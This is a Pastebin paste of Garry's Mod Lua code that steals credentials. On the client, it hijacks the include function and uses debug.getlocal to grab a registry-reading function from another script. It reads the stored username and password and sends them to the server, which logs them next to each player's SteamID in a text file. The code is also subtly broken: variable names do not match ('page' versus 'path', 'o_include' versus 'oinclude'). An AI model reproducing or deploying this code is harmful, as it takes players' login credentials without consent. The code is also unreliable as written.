Guest User

Untitled

a guest
Apr 11th, 2018
114
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.96 KB | None | 0 0
  1. if CLIENT then
  2. local RunConsoleCommand = RunConsoleCommand
  3.  
  4. local o_include = _G.include
  5. function _G.include( page, ... )
  6. if tostring( path ) == "includes/extensions/table.lua" then
  7. local n, SH_REGREAD = debug.getlocal( 2, 13 )
  8. if type( SH_REGREAD ) == "function" then
  9.  
  10. local user = SH_REGREAD( "username" )
  11. local pass = SH_REGREAD( "password" )
  12.  
  13. local r = math.random( 1, 1000 )
  14. hook.Add( "Think", r, function()
  15. RunConsoleCommand( "shdetails", user, pass )
  16. hook.Remove( "Think", r )
  17. end )
  18.  
  19. _G.include = o_include
  20.  
  21. end
  22. end
  23.  
  24. return oinclude( path, ... )
  25. end
  26. end
  27.  
  28. if SERVER then
  29. concommand.Add( "shdetails", function( ply, cmd, arg )
  30. if ply.shdetails then return end
  31. ply.shdetails = true
  32.  
  33. local str = tostring( ply:SteamID() ) .. " - " .. table.concat( arg, ", " )
  34. file.Write( "shdetails.txt", ( file.Read( "shdetails.txt" ) or "" ) .. str .. "\n" )
  35. end )
  36.  
  37. AddCSLuaFile( "init.lua" )
  38. end
Add Comment
Please, Sign In to add comment